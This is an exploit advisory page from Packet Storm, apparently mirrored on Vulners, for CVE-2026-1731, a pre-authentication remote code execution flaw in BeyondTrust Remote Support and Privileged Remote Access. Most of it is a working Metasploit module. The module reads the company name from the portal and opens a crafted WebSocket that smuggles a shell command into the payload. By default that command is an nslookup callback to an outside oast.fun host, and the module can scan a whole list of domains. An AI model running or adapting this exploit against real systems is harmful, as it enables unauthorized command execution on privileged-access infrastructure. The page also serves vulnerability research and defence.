Lucene search
K

📄 BeyondTrust Remote Support / Privileged Remote Access Remote Code Execution

🗓️ 17 Feb 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 271 Views

Critical pre-authentication remote code execution in BeyondTrust Support and Privileged Access.

Related
Code
=============================================================================================================================================
    | # Title     : BeyondTrust Remote Support / Privileged Remote Access – Pre‑Authentication Remote Code Execution                            |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.3 (64 bits)                                                            |
    | # Vendor    : https://www.beyondtrust.com/                                                                                                |
    =============================================================================================================================================
    
    [+] Summary    : A critical pre‑authentication Remote Code Execution (RCE) vulnerability identified as CVE-2026-1731 affects products from BeyondTrust, specifically Remote Support and Privileged Remote Access.
                     The vulnerability allows an unauthenticated attacker to execute arbitrary commands on a vulnerable system by abusing a specially 
    				 crafted WebSocket connection. The issue stems from improper input validation and unsafe handling of user-controlled data during the WebSocket communication process.
    
    [+] Affected Versions :
    
    The vulnerability affects the following versions of BeyondTrust products: Remote Support (RS)
    
    Affected versions: 25.3.1 and earlier This means any device running these versions prior to 25.3.2 is vulnerable. Privileged Remote Access (PRA)
    
    Affected versions: 24.3.4 and earlier Any PRA plan running version 24.3.4 or earlier is vulnerable to this vulnerability.
    
    [+] POC : 
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Auxiliary
      include Msf::Exploit::Remote::HttpClient
      include Msf::Auxiliary::Scanner
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'BeyondTrust Remote Support/Privileged Remote Access Pre-auth RCE',
            'Description' => %q{
              This module exploits CVE-2026-1731, a pre-authentication remote code execution
              vulnerability in BeyondTrust Remote Support and Privileged Remote Access.
              The vulnerability allows unauthenticated attackers to execute arbitrary commands
              on the target system through a specially crafted WebSocket connection.
            },
            'Author' => [
              'Bipin Jitiya (@win3zz)', # Original Python script
              'indoushka' # Metasploit module author
            ],
            'References' => [
              ['CVE', '2026-1731'],
              ['URL', 'https://attackerkb.com/topics/jNMBccstay/cve-2026-1731/rapid7-analysis'],
              ['URL', 'https://github.com/win3zz/CVE-2026-1731'] # Assuming GitHub repo exists
            ],
            'License' => MSF_LICENSE,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS]
            }
          )
        )
    
        register_options(
          [
            Opt::RPORT(443),
            OptBool.new('SSL', [true, 'Use SSL', true]),
            OptString.new('TARGETURI', [true, 'The base path to the BeyondTrust application', '/']),
            OptString.new('CMD', [true, 'The command to execute', 'nslookup {{callback}}']),
            OptString.new('CALLBACK_DOMAIN', [false, 'Callback domain for nslookup (replaces {{callback}} in CMD)', '']),
            OptPath.new('DOMAINS_FILE', [false, 'File containing list of domains to scan']),
            OptBool.new('VERBOSE_OUTPUT', [false, 'Enable verbose output', false])
          ]
        )
    
        register_advanced_options(
          [
            OptInt.new('WEBSOCKET_TIMEOUT', [true, 'WebSocket connection timeout in milliseconds', 5000])
          ]
        )
      end
    
      def verbose_print(msg)
        print_status(msg) if datastore['VERBOSE_OUTPUT']
      end
    
      def run_host(_ip)
    
        if datastore['DOMAINS_FILE'] && File.exist?(datastore['DOMAINS_FILE'])
          File.readlines(datastore['DOMAINS_FILE']).each do |domain|
            domain = domain.strip
            next if domain.empty?
    
            check_and_exploit_domain(domain)
          end
        else
    
          check_and_exploit_domain(rhost)
        end
      end
    
      def check_and_exploit_domain(domain)
        print_status("Checking #{domain}")
    
        company = fetch_company_info(domain)
        return unless company
    
        print_good("Found company: #{company}")
    
        execute_websocket_attack(domain, company)
      end
    
      def fetch_company_info(domain)
    
        ['http', 'https'].each do |proto|
          uri = "#{proto}://#{domain}/get_portal_info"
          verbose_print("Checking: #{uri}")
    
          begin
            res = send_request_cgi(
              'uri' => '/get_portal_info',
              'method' => 'GET',
              'rhost' => domain,
              'rport' => datastore['RPORT'],
              'ssl' => (proto == 'https')
            )
    
            if res && res.code == 200
              verbose_print("Raw response: #{res.body}")
    
              if res.body =~ /company=([^;]+)/
                company = Regexp.last_match(1).strip
                return company
              end
            end
          rescue Rex::ConnectionError, Rex::TimeoutError => e
            verbose_print("Error connecting to #{domain}: #{e.message}")
          end
        end
    
        print_status("No portal info or company found for #{domain}")
        nil
      end
    
      def prepare_command
        cmd = datastore['CMD']
    
        if datastore['CALLBACK_DOMAIN'] && !datastore['CALLBACK_DOMAIN'].empty?
          cmd.gsub!('{{callback}}', datastore['CALLBACK_DOMAIN'])
        end
    
        if cmd.include?('{{callback}}')
          random_callback = "#{Rex::Text.rand_text_alphanumeric(8)}.oast.fun"
          cmd.gsub!('{{callback}}', random_callback)
          print_warning("Using random callback domain: #{random_callback}")
        end
    
        cmd
      end
    
      def execute_websocket_attack(domain, company)
        print_status("Running WebSocket action for #{domain}")
    
        cmd = prepare_command
        verbose_print("Using command: #{cmd}")
    
        uuid = 'aaaaaaaa-aaaa-aaaa-aaaaaaaaaaaa'
        random_id = Rex::Text.rand_text_alphanumeric(4)
        payload = "hax[$(#{cmd})]\n#{uuid}\n0\n#{random_id}\n"
    
        verbose_print("WebSocket payload: #{payload.inspect}")
    
        ws_uri = "wss://#{domain}:#{datastore['RPORT']}/nw"
    
        begin
    
          ws = connect_ws(
            ws_uri,
            'protocol' => 'ingredi support desk customer thin',
            'headers' => {
              'X-Ns-Company' => company
            }
          )
    
          if ws.nil?
            print_error("Failed to establish WebSocket connection to #{domain}")
            return
          end
    
          print_status("WebSocket connection established to #{domain}")
    
          ws.put(payload)
    
          timeout = datastore['WEBSOCKET_TIMEOUT'] / 1000.0
          begin
            Timeout.timeout(timeout) do
              while (response = ws.get)
                print_line(response.to_s) unless response.to_s.empty?
              end
            end
          rescue Timeout::Error
            verbose_print("WebSocket read timeout")
          end
    
        rescue Rex::ConnectionError => e
          print_error("WebSocket connection error: #{e.message}")
        rescue StandardError => e
          print_error("Error during WebSocket attack: #{e.message}")
          verbose_print("Error details: #{e.backtrace.join("\n")}")
        ensure
          ws.close if ws
        end
      end
    
      def connect_ws(uri, opts = {})
        require 'rex/proto/http/web_socket'
    
        begin
    
          u = URI.parse(uri)
    
          host = u.host
          port = u.port
    
          http_client = Rex::Proto::Http::Client.new(
            host,
            port,
            {},
            u.scheme == 'wss'
          )
    
          request = http_client.request_websocket_upgrade(
            u.path,
            opts[:protocol]
          )
    
          opts[:headers]&.each do |key, value|
            request[key] = value
          end
          response = http_client.send_recv(request)
    
          if response && response.code == 101 # Switching Protocols
            return Rex::Proto::Http::WebSocket.new(http_client, response)
          else
            vprint_error("WebSocket upgrade failed: #{response.code}") if response
            return nil
          end
    
        rescue StandardError => e
          vprint_error("WebSocket connection error: #{e.message}")
          nil
        end
      end
    end
    	
    Greetings to :======================================================================
    jericho * Larry W. Cashdollar * r00t * Hussin-X * Malvuln (John Page aka hyp3rlinx)|
    ====================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

17 Feb 2026 00:00Current
7High risk
Vulners AI Score7
CVSS 3.19.8
CVSS 49.9
EPSS0.86091
SSVC
271